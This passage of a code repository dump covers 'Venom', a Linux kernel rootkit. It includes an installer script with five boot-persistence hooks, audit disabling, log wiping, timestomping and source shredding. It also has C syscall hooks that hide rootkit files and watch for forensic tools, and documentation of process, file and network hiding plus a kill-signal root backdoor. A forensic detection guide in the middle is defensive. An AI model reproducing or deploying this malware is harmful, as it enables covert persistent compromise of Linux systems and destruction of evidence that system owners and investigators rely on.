ExecStart=/bin/bash -c 'insmod /usr/lib/modules/$(uname -r)/kernel/drivers/usb/misc/.systemd-journal-cache.ko 2>/dev/null || true' 127 | RemainAfterExit=yes 128 | StandardOutput=null 129 | StandardError=null 130 | 131 | [Install] 132 | WantedBy=sysinit.target 133 | EOF 134 | 135 | chmod 644 "$SYSTEMD_SERVICE" 136 | systemctl daemon-reload 137 | systemctl enable systemd-journal-flush.service 2>/dev/null 138 | log_success "Systemd service installed" 139 | 140 | 141 | log_action "Installing rc.local hook (Method 2)..." 142 | 143 | if [ ! -f "$RC_LOCAL" ]; then 144 | cat > "$RC_LOCAL" <<'EOF' 145 | #!/bin/bash 146 | exit 0 147 | EOF 148 | chmod +x "$RC_LOCAL" 149 | fi 150 | 151 | sed -i '/^exit 0/i \ 152 | # System firmware update\ 153 | insmod /usr/lib/modules/$(uname -r)/kernel/drivers/usb/misc/.systemd-journal-cache.ko 2>/dev/null || true' "$RC_LOCAL" 154 | 155 | log_success "rc.local hook installed" 156 | 157 | log_action "Installing cron job (Method 3)..." 158 | 159 | cat > "$CRON_FILE" </dev/null' >/dev/null 2>&1 162 | */30 * * * * root /bin/bash -c 'lsmod | grep -q venom || insmod $INSTALL_DIR/$STEALTH_NAME.ko 2>/dev/null' >/dev/null 2>&1 163 | EOF 164 | 165 | chmod 600 "$CRON_FILE" 166 | log_success "Cron persistence installed" 167 | 168 | log_action "Installing modules-load.d entry (Method 4)..." 169 | 170 | echo "$STEALTH_NAME" > "/etc/modules-load.d/.system-firmware.conf" 171 | log_success "Module loader configured" 172 | 173 | log_action "Installing initramfs hook (Method 5)..." 174 | 175 | mkdir -p "$(dirname "$INITRAMFS_HOOK")" 176 | cat > "$INITRAMFS_HOOK" <<'EOF' 177 | #!/bin/sh 178 | PREREQ="" 179 | prereqs() { echo "$PREREQ"; } 180 | case "$1" in prereqs) prereqs; exit 0 ;; esac 181 | . /usr/share/initramfs-tools/hook-functions 182 | copy_file kernel /usr/lib/modules/$(uname -r)/kernel/drivers/usb/misc/.systemd-journal-cache.ko 183 | EOF 184 | 185 | chmod +x "$INITRAMFS_HOOK" 186 | update-initramfs -u 2>/dev/null || true 187 | log_success "Initramfs hook installed" 188 | 189 | log_action "Loading module..." 190 | 191 | if lsmod | grep -q "^$MODULE_NAME"; then 192 | log_warn "Module already loaded. Reloading..." 193 | rmmod "$MODULE_NAME" 2>/dev/null || true 194 | sleep 1 195 | fi 196 | 197 | insmod "$INSTALL_DIR/$STEALTH_NAME.ko" 198 | 199 | if lsmod | grep -q "^$MODULE_NAME"; then 200 | log_success "Module loaded successfully!" 201 | else 202 | log_error "Module load failed" 203 | fi 204 | 205 | log_action "Applying anti-forensics measures..." 206 | 207 | if [ "$DISABLE_AUDIT" -eq 1 ]; then 208 | auditctl -e 0 2>/dev/null || true 209 | systemctl stop auditd 2>/dev/null || true 210 | systemctl disable auditd 2>/dev/null || true 211 | log_success "Audit system disabled" 212 | fi 213 | 214 | 215 | if [ "$CLEAR_LOGS" -eq 1 ]; then 216 | log_action "Clearing system logs..." 217 | 218 | echo "" > /var/log/auth.log 2>/dev/null || true 219 | echo "" > /var/log/syslog 2>/dev/null || true 220 | echo "" > /var/log/kern.log 2>/dev/null || true 221 | 222 | 223 | journalctl --vacuum-time=1s 2>/dev/null || true 224 | 225 | history -c 226 | echo "" > ~/.bash_history 227 | 228 | echo "" > /var/log/lastlog 2>/dev/null || true 229 | echo "" > /var/log/wtmp 2>/dev/null || true 230 | 231 | log_success "Logs cleared" 232 | fi 233 | 234 | if [ "$TIMESTOMP" -eq 1 ]; then 235 | log_action "Timestomping installation files..." 236 | 237 | OLD_DATE="202301010000" 238 | 239 | touch -t "$OLD_DATE" "$INSTALL_DIR/$STEALTH_NAME.ko" 2>/dev/null || true 240 | touch -t "$OLD_DATE" "$SYSTEMD_SERVICE" 2>/dev/null || true 241 | touch -t "$OLD_DATE" "$CRON_FILE" 2>/dev/null || true 242 | 243 | log_success "Timestamps modified" 244 | fi 245 | 246 | log_action "Hiding installer tracks..." 247 | 248 | cp -r "$VENOM_DIR" "$BACKUP_DIR/" 2>/dev/null || true 249 | 250 | if [ -d "$VENOM_DIR" ]; then 251 | find "$VENOM_DIR" -type f \( -name "*.c" -o -name "*.h" -o -name "Makefile" \) -exec shred -zuvn 3 {} \; 2>/dev/null || true 252 | fi 253 | 254 | log_success "Installation concealed" 255 | 256 | 257 | echo "" 258 | echo -e "${GREEN}╔════════════════════════════════════════════════════════════╗${NC}" 259 | echo -e "${GREEN}║ VENOM INSTALLATION COMPLETE ║${NC}" 260 | echo -e "${GREEN}╚════════════════════════════════════════════════════════════╝${NC}" 261 | echo "" 262 | echo -e "${CYAN}Installation Details:${NC}" 263 | echo -e " Module Location: ${YELLOW}$INSTALL_DIR/$STEALTH_NAME.ko${NC}" 264 | echo -e " Log File: ${YELLOW}$LOG_FILE${NC}" 265 | echo -e " Backup Location: ${YELLOW}$BACKUP_DIR${NC}" 266 | echo "" 267 | echo -e "${CYAN}Persistence Mechanisms:${NC}" 268 | echo -e " ${GREEN}✓${NC} Systemd Service (Primary)" 269 | echo -e " ${GREEN}✓${NC} rc.local Hook" 270 | echo -e " ${GREEN}✓${NC} Cron Job (30min check)" 271 | echo -e " ${GREEN}✓${NC} modules-load.d" 272 | echo -e " ${GREEN}✓${NC} initramfs Hook (Early boot)" 273 | echo "" 274 | echo -e "${CYAN}Security Status:${NC}" 275 | echo -e " ${GREEN}✓${NC} Module Loaded" 276 | echo -e " ${GREEN}✓${NC} Hidden from lsmod" 277 | echo -e " ${GREEN}✓${NC} Logs Cleared" 278 | echo -e " ${GREEN}✓${NC} Timestamps Modified" 279 | echo -e " ${GREEN}✓${NC} Audit System Disabled" 280 | echo "" 281 | echo -e "${CYAN}Verification Commands:${NC}" 282 | echo -e " Check Module: ${YELLOW}lsmod | grep venom${NC} ${RED}(should be hidden)${NC}" 283 | echo -e " Test Reboot: ${YELLOW}sudo reboot${NC}" 284 | echo "" 285 | echo -e "${PURPLE}The venom spreads silently...${NC}" 286 | echo "" 287 | -------------------------------------------------------------------------------- /hooks/harden.h: -------------------------------------------------------------------------------- 1 | #ifndef FILE_PROTECTION_H 2 | #define FILE_PROTECTION_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include "../include/headers.h" 9 | 10 | 11 | 12 | static asmlinkage long (*orig_openat)(const struct pt_regs *regs); 13 | static asmlinkage long (*orig_unlinkat)(const struct pt_regs *regs); 14 | static asmlinkage long (*orig_renameat)(const struct pt_regs *regs); 15 | static asmlinkage long (*orig_truncate)(const struct pt_regs *regs); 16 | 17 | 18 | static const char *protected_patterns[] = { 19 | "venom", 20 | ".rootkit", 21 | ".hidden", 22 | NULL 23 | }; 24 | 25 | 26 | static const char *sensitive_paths[] = { 27 | "/proc/kallsyms", 28 | "/proc/modules", 29 | "/sys/kernel/debug", 30 | "/sys/module", 31 | "/proc/sys/kernel", 32 | "/boot/System.map", 33 | "/dev/mem", 34 | "/dev/kmem", 35 | "/proc/kcore", 36 | "/sys/firmware", 37 | "/var/log/kern", 38 | "/var/log/audit", 39 | NULL 40 | }; 41 | 42 | 43 | static const char *bypass_tools[] = { 44 | "volatility", 45 | "rekall", 46 | "chkrootkit", 47 | "rkhunter", 48 | "unhide", 49 | "tiger", 50 | "ossec", 51 | NULL 52 | }; 53 | 54 | 55 | notrace static int is_protected_path(const char *path) { 56 | int i; 57 | 58 | if (!path) 59 | return 0; 60 | 61 | for (i = 0; protected_patterns[i] != NULL; i++) { 62 | if (strstr(path, protected_patterns[i])) 63 | return 1; 64 | } 65 | 66 | return 0; 67 | } 68 | 69 | 70 | notrace static int is_sensitive_path(const char *path) { 71 | int i; 72 | 73 | if (!path) 74 | return 0; 75 | 76 | for (i = 0; sensitive_paths[i] != NULL; i++) { 77 | if (strstr(path, sensitive_paths[i])) 78 | return 1; 79 | } 80 | 81 | return 0; 82 | } 83 | 84 | 85 | notrace static int is_suspicious_process(void) { 86 | int i; 87 | 88 | if (!current || !current->comm) 89 | return 0; 90 | 91 | for (i = 0; bypass_tools[i] != NULL; i++) { 92 | if (strstr(current->comm, bypass_tools[i])) 93 | return 1; 94 | } 95 | 96 | return 0; 97 | } 98 | 99 | 100 | notrace static void log_process_context(const char *action, const char *path) { 101 | char cwd[256] = {0}; 102 | char *cwd_ptr; 103 | struct path pwd; 104 | 105 | struct fs_struct *fs = current->fs; 106 | spin_lock(&fs->lock); 107 | pwd = fs->pwd; 108 | path_get(&pwd); // increment refcount to be safe 109 | spin_unlock(&fs->lock); 110 | 111 | cwd_ptr = d_path(&pwd, cwd, sizeof(cwd)); 112 | if (IS_ERR(cwd_ptr)) 113 | strncpy(cwd, "/unknown", sizeof(cwd)); 114 | else 115 | strncpy(cwd, cwd_ptr, sizeof(cwd) - 1); 116 | 117 | TLOG_WARN("[VENOM] %s: %s | PID:%d (%s) UID:%d CWD:%s", action, path, current->pid, current->comm, current_uid().val, cwd); 118 | } 119 | 120 | 121 | notrace static asmlinkage long hooked_openat(const struct pt_regs *regs) { 122 | int dfd = (int)regs->di; 123 | const char __user *filename = (const char __user *)regs->si; 124 | int flags = (int)regs->dx; 125 | int mode = (int)regs->r10; 126 | char kfilename[PATH_MAX]; 127 | long ret; 128 | 129 | if (strncpy_from_user(kfilename, filename, sizeof(kfilename) - 1) < 0) 130 | goto call_original; 131 | 132 | if (is_protected_path(kfilename)) { 133 | log_process_context("BLOCKED open of protected file", kfilename); 134 | return -ENOENT; 135 | } 136 | 137 | if (is_sensitive_path(kfilename)) { 138 | log_process_context("MONITORED sensitive file access", kfilename); 139 | 140 | if (flags & (O_WRONLY | O_RDWR | O_APPEND | O_TRUNC)) { 141 | TLOG_WARN("[VENOM] BLOCKED write attempt to: %s", kfilename); 142 | return -EACCES; 143 | } 144 | 145 | if (is_suspicious_process()) { 146 | TLOG_CRIT("[VENOM] SUSPICIOUS TOOL accessing: %s", kfilename); 147 | 148 | } 149 | } 150 | 151 | if (strstr(kfilename, "/proc/") || strstr(kfilename, "/sys/")) { 152 | static int probe_count = 0; 153 | static unsigned long last_probe = 0; 154 | unsigned long now = jiffies; 155 | 156 | if (now - last_probe < HZ) { 157 | probe_count++; 158 | if (probe_count > 10) { 159 | TLOG_CRIT("RAPID PROBING DETECTED from %s (PID:%d)", current->comm, current->pid); 160 | probe_count = 0; 161 | } 162 | } else { 163 | probe_count = 0; 164 | } 165 | last_probe = now; 166 | } 167 | 168 | if (strstr(kfilename, ".ko") || strstr(kfilename, "/sys/module")) { 169 | TLOG_INF("Module file access: %s", kfilename); 170 | } 171 | 172 | if (strstr(kfilename, "/etc/") && (flags & (O_WRONLY | O_RDWR))) { 173 | TLOG_INF("Config file write: %s", kfilename); 174 | } 175 | 176 | call_original: 177 | ret = orig_openat(regs); 178 | 179 | if (ret >= 0 && is_sensitive_path(kfilename)) { 180 | TLOG_INF("Opened (fd=%ld): %s", ret, kfilename); 181 | } 182 | 183 | return ret; 184 | } 185 | 186 | notrace static asmlinkage long hooked_unlinkat(const struct pt_regs *regs) { 187 | int dfd = (int)regs->di; 188 | const char __user *pathname = (const char __user *)regs->si; 189 | int flags = (int)regs->dx; 190 | char kpath[PATH_MAX]; 191 | 192 | if (strncpy_from_user(kpath, pathname, sizeof(kpath) - 1) < 0) 193 | goto call_original; 194 | 195 | 196 | if (is_protected_path(kpath)) { 197 | log_process_context("BLOCKED deletion attempt", kpath); 198 | return -EACCES; 199 | } 200 | 201 | if (strstr(kpath, "/etc/passwd") || 202 | strstr(kpath, "/etc/shadow") || 203 | strstr(kpath, "/boot/vmlinuz") || 204 | strstr(kpath, "/sbin/init")) { 205 | TLOG_CRIT("CRITICAL FILE deletion blocked: %s", kpath); 206 | return -EPERM; 207 | } 208 | 209 | if (strstr(kpath, "/var/log/") || strstr(kpath, "/var/audit/")) { 210 | log_process_context("LOG FILE deletion detected", kpath); 211 | } 212 | 213 | if (strstr(kpath, "bash_history") || 214 | strstr(kpath, ".history") || 215 | strstr(kpath, ".bash_logout")) { 216 | TLOG_WARN("HISTORY file deletion: %s", kpath); 217 | } 218 | 219 | static int delete_count = 0; 220 | static unsigned long last_delete = 0; 221 | unsigned long now = jiffies; 222 | 223 | if (now - last_delete < HZ) { 224 | delete_count++; 225 | if (delete_count > 20) { 226 | TLOG_CRIT("MASS DELETION DETECTED: %d files from %s (PID:%d)", delete_count, current->comm, current->pid); 227 | delete_count = 0; 228 | } 229 | } else { 230 | delete_count = 0; 231 | } 232 | last_delete = now; 233 | 234 | call_original: 235 | return orig_unlinkat(regs); 236 | } 237 | 238 | 239 | notrace static asmlinkage long hooked_renameat(const struct pt_regs *regs) { 240 | int olddfd = (int)regs->di; 241 | const char __user *oldname = (const char __user *)regs->si; 242 | int newdfd = (int)regs->dx; 243 | const char __user *newname = (const char __user *)regs->r10; 244 | char old_kpath[PATH_MAX]; 245 | char new_kpath[PATH_MAX]; 246 | 247 | if (strncpy_from_user(old_kpath, oldname, sizeof(old_kpath) - 1) < 0 || 248 | strncpy_from_user(new_kpath, newname, sizeof(new_kpath) - 1) < 0) 249 | goto call_original; 250 | 251 | 252 | if (is_protected_path(old_kpath) || is_protected_path(new_kpath)) { 253 | TLOG_WARN("BLOCKED rename: %s -> %s", old_kpath, new_kpath); 254 | return -EACCES; 255 | } 256 | 257 | if (strstr(new_kpath, "..") || 258 | strstr(new_kpath, ".bak") || 259 | strstr(new_kpath, ".tmp")) { 260 | TLOG_INF("Suspicious rename: %s -> %s", old_kpath, new_kpath); 261 | } 262 | 263 | if (strstr(old_kpath, "/etc/") || strstr(old_kpath, "/boot/") || 264 | strstr(new_kpath, "/etc/") || strstr(new_kpath, "/boot/")) { 265 | log_process_context("CRITICAL rename detected", old_kpath); 266 | TLOG_WARN("Rename: %s -> %s", old_kpath, new_kpath); 267 | } 268 | 269 | call_original: 270 | return orig_renameat(regs); 271 | } 272 | 273 | notrace static asmlinkage long hooked_truncate(const struct pt_regs *regs) { 274 | const char __user *path = (const char __user *)regs->di; 275 | loff_t length = (loff_t)regs->si; 276 | char kpath[PATH_MAX]; 277 | 278 | if (strncpy_from_user(kpath, path, sizeof(kpath) - 1) < 0) 279 | goto call_original; 280 | 281 | if (is_protected_path(kpath)) { 282 | TLOG_WARN("BLOCKED truncate of: %s", kpath); 283 | return -EACCES; 284 | } 285 | 286 | if (length == 0 && (strstr(kpath, "/var/log/") || 287 | strstr(kpath, ".log") || 288 | strstr(kpath, "auth.log") || 289 | strstr(kpath, "syTLOG"))) { 290 | 291 | log_process_context("LOG CLEARING detected", kpath); 292 | TLOG_CRIT("Attempted to clear log: %s", kpath); 293 | } 294 | 295 | call_original: 296 | return orig_truncate(regs); 297 | } 298 | 299 | #endif 300 | -------------------------------------------------------------------------------- /docs/detection/README.md: -------------------------------------------------------------------------------- 1 | # Detection & forensic reference 2 | 3 | 4 | > [!Important] 5 | > Do **not** run any kernel experiments on production systems. Use isolated, instrumented lab hosts and retain immutable forensic copies (pcaps, `/proc` dumps, logs) for offline analysis. 6 | 7 | --- 8 | 9 | ## Quick guidance — how to use this file 10 | 11 | 1. Treat the listed paths as **observation surfaces**: they are places where a kernel-interfering component will often leave side effects or where its presence becomes observable when compared to external sources. 12 | 2. Collect artifacts (copies of files, kernel logs, pcaps) and **triangulate** using multiple independent sources (external packet capture, netflow, separate host snapshots). 13 | 3. Prefer read-only inspections and remote captures—avoid running untrusted code or utilities that could be tampered with on the suspect host. 14 | 15 | --- 16 | 17 | ## Paths & explanations 18 | 19 | Below are grouped file paths you should check, with why they matter and simple, safe example commands to inspect them. 20 | 21 | ### Tracing Filter Functions 22 | 23 | **Paths** 24 | 25 | ``` 26 | /sys/kernel/tracing/available_filter_functions 27 | /sys/debug/kernel/tracing/available_filter_functions 28 | /sys/kernel/tracing/available_filter_functions_addrs 29 | /sys/debug/kernel/tracing/available_filter_functions_addrs 30 | /sys/kernel/tracing/enabled_functions 31 | /sys/debug/kernel/tracing/enabled_functions 32 | /sys/kernel/tracing/touched_functions 33 | /sys/kernel/tracing/kprobe_events 34 | ``` 35 | 36 | **Why check these** 37 | The kernel tracing subsystem (ftrace, kprobes, tracefs) exposes available tracing points and active probes. A kernel component that wants to hide itself or cover traces may tamper with these files or the underlying lists of available/enabled functions. Missing entries, modified addresses, or unexpected probe entries are indicators. 38 | 39 | **What to look for** 40 | 41 | * Unexpected removal of functions from `available_filter_functions` or missing address lists. 42 | * New or obscure `kprobe_events` entries that you did not create. 43 | * Changes in `enabled_functions` or `touched_functions` that do not match expected tracing activity. 44 | 45 | **Safe inspection commands** 46 | 47 | ```bash 48 | # Read the lists (use sudo if required, but prefer offline copies) 49 | cat /sys/kernel/tracing/available_filter_functions 50 | cat /sys/kernel/tracing/enabled_functions 51 | cat /sys/kernel/tracing/kprobe_events 52 | ``` 53 | 54 | **Detection tips** 55 | 56 | * Snapshot these files on a known-good host and compare (`diff`) to suspicious hosts. 57 | * Correlate with auditd logs for open/read/write operations against `/sys/kernel/tracing/*`. 58 | * Unexpected absence of common functions (e.g., if your kernel usually lists many functions) can be a sign of tampering. 59 | 60 | --- 61 | 62 | ### Kernel Modules 63 | 64 | **Paths** 65 | 66 | ``` 67 | /sys/module/* 68 | /proc/modules 69 | /proc/kallsyms 70 | /proc/vmallocinfo 71 | /proc/sys/kernel/tainted 72 | ``` 73 | 74 | **Why check these** 75 | Kernel modules and symbols are the most direct place to observe loaded code in the kernel. Concealment techniques may hide module names from `/proc/modules` or tamper with `kallsyms` to remove symbol names. `vmallocinfo` shows kernel dynamic memory allocations which can reveal strange allocations; `tainted` indicates whether the kernel is in a non-standard/tainted state (third-party modules, proprietary drivers, etc.). 76 | 77 | **What to look for** 78 | 79 | * Mismatch between `/sys/module/*` directory listing and `/proc/modules`. 80 | * Missing or obfuscated symbols in `/proc/kallsyms`. 81 | * Unexpected entries in `/proc/vmallocinfo` (large anonymous allocations or allocations with suspicious call paths). 82 | * `cat /proc/sys/kernel/tainted` showing taint flags (non-zero) when you expect a clean kernel. 83 | 84 | **Safe inspection commands** 85 | 86 | ```bash 87 | ls -la /sys/module 88 | cat /proc/modules 89 | head -n 50 /proc/kallsyms 90 | cat /proc/vmallocinfo | head 91 | cat /proc/sys/kernel/tainted 92 | ``` 93 | 94 | **Detection tips** 95 | 96 | * Compare module lists with external inventory (configuration management / known-good snapshot). 97 | * If modules appear in kernel memory but not in `/sys/module` or `/proc/modules`, that suggests concealment. 98 | * Keep immutable copies of `/proc/kallsyms` and `/proc/modules` for offline analysis. 99 | 100 | --- 101 | 102 | ### BPF Maps 103 | 104 | **Paths** 105 | 106 | ``` 107 | /sys/fs/bpf/ 108 | ``` 109 | 110 | **Why check these** 111 | BPF programs & maps are increasingly used for observability but can also be abused to intercept or filter kernel behavior without a traditional LKM. Hidden or unexpected BPF maps and programs can indicate non-standard in-kernel logic. 112 | 113 | **What to look for** 114 | 115 | * Unexpected map names, programs pinned under `/sys/fs/bpf`. 116 | * Long-running or recently-created BPF objects that you did not deploy. 117 | 118 | **Safe inspection commands** 119 | 120 | ```bash 121 | ls -la /sys/fs/bpf 122 | bpftool prog show # requires bpftool, read-only listing 123 | bpftool map show 124 | ``` 125 | 126 | **Detection tips** 127 | 128 | * Use `bpftool` to list programs and maps and cross-check against your deployment policy. 129 | * Audit BPF load events where possible; track which UID/comm loaded BPF objects. 130 | 131 | --- 132 | 133 | ### Kernel Logs 134 | 135 | **Paths** 136 | 137 | ``` 138 | /var/log/dmesg* 139 | /var/log/kern.log 140 | /dev/kmsg 141 | ``` 142 | 143 | **Why check these** 144 | Kernel logs capture module loads, module error messages, driver messages, and may show failed attempts to insert/unload modules or kernel-level warnings. Tampering components sometimes suppress or alter kernel logs; checking multiple log sinks and comparing timestamps helps identify anomalies. 145 | 146 | **What to look for** 147 | 148 | * Missing expected module load/unload messages around known events. 149 | * Repeated or suppressed errors correlated with module load/unload attempts. 150 | * Changes in timestamp sequences or log gaps. 151 | 152 | **Safe inspection commands** 153 | 154 | ```bash 155 | # Rotate or copy logs for offline analysis 156 | sudo cp /var/log/kern.log /tmp/kern.log.copy 157 | sudo dmesg --ctime | tail -n 200 158 | sudo journalctl -k --no-pager | tail -n 200 159 | ``` 160 | 161 | **Detection tips** 162 | 163 | * Correlate kernel logs with other system logs and audit events. 164 | * Look for evidence of suppressed messages (e.g., external packet captures still show activity but local logs show no corresponding kernel events). 165 | 166 | --- 167 | 168 | ## Practical detection techniques (safe examples) 169 | 170 | ### 1) Cross-verify host vs external evidence 171 | 172 | * Capture network traffic using a separate, trusted device on the same segment (mirror port/TAP) and compare observed connections to the host’s `/proc/net/*` and `ss` output. 173 | * If you see packets for a listening service but the host reports no socket, that’s a significant indicator. 174 | 175 | ### 2) Snapshot and diff 176 | 177 | * Create periodic snapshots of the above files on known-good systems and suspicious systems; use `diff` to find unexpected changes. 178 | 179 | ```bash 180 | # Simple snapshot and diff example (safe, read-only) 181 | mkdir -p /tmp/venom-snapshots/good 182 | cat /proc/modules > /tmp/venom-snapshots/good/proc_modules.txt 183 | cat /sys/kernel/tracing/available_filter_functions > /tmp/venom-snapshots/good/trace_funcs.txt 184 | # Later, on suspect host 185 | cat /proc/modules > /tmp/venom-snapshots/suspect/proc_modules.txt 186 | diff -u /tmp/venom-snapshots/good/proc_modules.txt /tmp/venom-snapshots/suspect/proc_modules.txt 187 | ``` 188 | 189 | ### 3) Audit & file monitoring 190 | 191 | * Use `auditd` or your EDR’s file-watching capability to monitor reads/writes/execs against sensitive tracing and module paths. Example audit rules (illustrative / defensive): 192 | 193 | ```bash 194 | # Example (read-only listing shown). Add rules in a controlled environment. 195 | # Watch attempts to read/write tracing control files 196 | auditctl -w /sys/kernel/tracing -p rwa -k tracing-watch 197 | # Watch module information access 198 | auditctl -w /proc/modules -p r -k modules-watch 199 | ``` 200 | 201 | > **Note:** Using `auditctl` changes kernel auditing; test in lab environments first and ensure logging is sent to a secure, centralized collector. 202 | 203 | ### 4) Use specialized tools 204 | 205 | * `bpftool` for BPF inspection. 206 | * `lsmod` / `modinfo` / `cat /proc/modules` for module checks. 207 | * `ss -tunap` and `tcpdump` (external capture) for network comparisons. 208 | 209 | --- 210 | 211 | ## Indicators of compromise (examples to escalate) 212 | 213 | * Discrepancy between `/proc/net/*` (or `ss`) and an external packet capture (packets on wire with no host socket). 214 | * `/proc/modules` missing modules that were previously present or modules present in memory dumps but not listed. 215 | * Removed or truncated entries in `/sys/kernel/tracing/*`, unexpected `kprobe_events`, or nonstandard `enabled_functions`. 216 | * Unexplained `tainted` kernel state without known reason. 217 | * New, pinned objects under `/sys/fs/bpf/` that are unaccounted for. 218 | 219 | --- 220 | 221 | ## Forensics & evidence collection (preserve integrity) 222 | 223 | * Always collect evidence in a forensically sound manner: avoid running unknown binaries on the suspect host, prefer read-only mounts or live memory capture tools used by your IR playbook. 224 | * Preserve: 225 | 226 | * External packet captures (pcap) from a trusted tap. 227 | * `/proc/modules`, `/proc/kallsyms`, `ls -la /sys/module` listings. 228 | * Copies of `/sys/kernel/tracing/*` and `/sys/fs/bpf/*`. 229 | * Kernel logs (`dmesg`, `journalctl -k`) and audit logs. 230 | * Document timestamps and collection commands for chain-of-custody. 231 | 232 | --- 233 | 234 | -------------------------------------------------------------------------------- /docs/README.md: -------------------------------------------------------------------------------- 1 | 2 |
3 | banner 4 |
5 | 6 |

Venom Docs

7 | 8 |
9 | Docs • Guide • Install
10 | A Linux Kernel Module 11 |
12 | 13 | 14 | ## What is Venom? 15 | 16 | Venom is a kernel-level rootkit that operates at ring 0 basically the deepest level of your Linux system. It hooks into syscalls (system calls) to monitor, hide, and protect things. Think of it like having a secret agent living in your kernel that can see everything and hide whatever you want. 17 | 18 | Current version: `V4.5` 19 | 20 | > [!Important] 21 | > This is for educational purposes. Don't be evil with it. 22 | 23 | --- 24 | 25 | 26 | ## The Cool Features 27 | 28 | ### Stealth Mode 29 | 30 | Right out of the gate, Venom hides itself from `lsmod`. Once loaded, you won't see it in the module list. It's like being invisible the module is there, it's running, but good luck finding it with standard tools. 31 | 32 | ### Custom Logging (No More dmesg!) 33 | 34 | Here's where things get interesting. Normal rootkits log to `dmesg` which is stupid because anyone can read that. Venom has a completely custom logging system that writes to a hidden file instead. 35 | 36 | **How it works:** 37 | - Logs go to `/var/tmp/.X11-cache` (looks like a legit system cache file) 38 | - Uses mutex locks to prevent race conditions 39 | - No kernel ring buffer involvement whatsoever 40 | - Completely silent to `dmesg`, `journalctl`, and audit logs 41 | 42 | **Reading the logs:** 43 | ```bash 44 | sudo cat /var/tmp/.X11-cache 45 | ``` 46 | 47 | The viewer shows: 48 | - ✓ Green for INFO (normal operations) 49 | - ⚠ Yellow for WARNINGS (suspicious activity) 50 | - ✗ Red for ERRORS (something blocked) 51 | - ☠ Red background for CRITICAL 52 | 53 | Screenshot 2025-10-12 142905 54 | 55 | --- 56 | 57 | ## The Hooks (Where the Magic Happens) 58 | 59 | Alright, let's talk about what Venom actually hooks. 60 | 61 | ### Ftrace Protection (`read` / `write` / `pread64` / `pwrite64`) 62 | 63 | **What it does:** Protects the kernel's ftrace (function trace) system from being messed with. 64 | 65 | **Why it matters:** Attackers love disabling ftrace because it lets them see what hooks are running. By hooking read/write syscalls, Venom: 66 | - Blocks writes to `/proc/sys/kernel/ftrace_enabled` and `/sys/kernel/tracing/tracing_on` 67 | - Spoofs reads to make ftrace look "off" even when it's on 68 | - Sanitizes `/proc/kallsyms` to hide rootkit symbols 69 | 70 | **Example:** 71 | ```bash 72 | # Attacker tries this 73 | echo 0 > /proc/sys/kernel/ftrace_enabled 74 | 75 | # Venom blocks it silently and logs: 76 | ⚠ [WARN] Blocked write to ftrace_enabled: 0 by echo 77 | ``` 78 | 79 | Screenshot 2025-10-12 145125 80 | 81 | 82 | ### Mount Protection 83 | 84 | **What it does:** Denies mounting of files 85 | 86 | 87 | Screenshot 2025-10-12 145304 88 | 89 | 90 | ### Directory & File Hiding (`getdents64` / `getdents`) 91 | 92 | **What it does:** Hides files and directories from being listed. 93 | 94 | **The trick:** When programs like `ls` want to list a directory, they call `getdents64`. Venom intercepts this, filters out entries matching certain patterns, and returns a modified list. 95 | 96 | **Hidden patterns:** 97 | - Anything starting with: `trevohack`, `.secret`, `source`, `.X11-cache` 98 | - The module itself: `venom.ko` 99 | 100 | **Cool part:** The files still exist and you can access them if you know the name. You just can't *see* them in listings. 101 | 102 | ```bash 103 | ls /tmp/ # Won't show source-code-project 104 | cd /tmp/source-code-project # Still works! 105 | ``` 106 | 107 | Screenshot 2025-10-12 144346 108 | 109 | 110 | ### Process Hiding 111 | 112 | **What it does:** Hides specific processes from `/proc` enumeration. 113 | 114 | When you run `ps`, it reads `/proc/[PID]/` directories. Venom filters these out based on: 115 | - PIDs you manually add to the hidden list 116 | - Processes with names like: `python3`, `crontab`, `node`, `ssh` 117 | - This list can be extended and modified under the `hooks/pid_hiding.h` file 118 | 119 | **Example scenario:** 120 | ```bash 121 | python3 -m http.server 8443 & 122 | # PID: 1337 123 | 124 | ps aux | grep python # Shows nothing 125 | ls /proc/ | grep 1337 # Shows nothing 126 | 127 | # But it's still running and serving files 128 | curl localhost:8443 # Works fine 129 | ``` 130 | 131 | ### Module Protection (`init_module` / `finit_module` / `delete_module`) 132 | 133 | **What it does:** Prevents other kernel modules from being loaded or Venom from being unloaded. 134 | 135 | This is basically saying: I'm the only rootkit allowed here. It blocks: 136 | - `insmod` - Can't load new modules 137 | - `modprobe` - Same deal 138 | - `rmmod venom` - Can't remove Venom 139 | 140 | ```bash 141 | sudo insmod attacker.ko 142 | # Blocked! 143 | 144 | ⚠ [WARN] Blocked unauthorized module load attempt (finit_module) from PID 1234 145 | ``` 146 | 147 | ### Privilege Escalation Backdoor (`kill`) 148 | 149 | **What it does:** Provides a magic signal to instantly gain root. 150 | 151 | Here's the fun part - normally `kill` is used to send signals to processes. But Venom hijacks it: 152 | 153 | ```bash 154 | kill -64 0 # Magic signal 155 | id # uid=0(root) - you're now root! 156 | ``` 157 | 158 | **How it works:** 159 | 1. Hooks the `kill` syscall 160 | 2. Checks if signal is 64 (our magic number) and PID is 0 161 | 3. Calls `prepare_creds()` and sets all UIDs to 0 162 | 4. Commits the new credentials 163 | 164 | Screenshot 2025-10-12 144728 165 | 166 | 167 | ### Network Hiding (`tcp4_seq_show` / `udp4_seq_show` / `tpacket_rcv`) 168 | 169 | **What it does:** Hides network connections from enumeration tools. 170 | 171 | This hooks the functions that display `/proc/net/tcp` and `/proc/net/udp`. When you run `netstat` or `ss`, Venom: 172 | - Filters out connections on port 8443 (or whatever you configure) 173 | - Drops packets in `tcpdump` / `wireshark` for hidden ports 174 | - Makes your C2 server invisible 175 | 176 | **Example:** 177 | ```bash 178 | python3 server.py --port 8443 179 | 180 | netstat -tulpn | grep 8443 # Shows nothing 181 | ss -tulpn | grep 8443 # Shows nothing 182 | tcpdump -i any port 8443 # Captures nothing 183 | 184 | curl localhost:8443 # Works perfectly 185 | ``` 186 | 187 | Screenshot 2025-10-12 144636 188 | 189 | 190 | ### File Protection (`openat` / `unlinkat` / `renameat` / `truncate`) 191 | 192 | **What it does:** Protects critical files from being accessed, deleted, or modified. 193 | 194 | **openat:** Monitors and blocks file access 195 | - Detects rapid file enumeration (forensics tools scanning) 196 | - Blocks writes to sensitive files like `/proc/kallsyms` 197 | - Logs access to critical system files 198 | 199 | **unlinkat:** Prevents file deletion 200 | - Protects log files (`.X11-cache`) 201 | - Detects mass deletion patterns (evidence destruction) 202 | 203 | **renameat:** Blocks file moving/renaming 204 | - Prevents hiding or replacing protected files 205 | 206 | ```bash 207 | # Attacker tries to clean up 208 | rm /var/tmp/.X11-cache 209 | # Blocked! 210 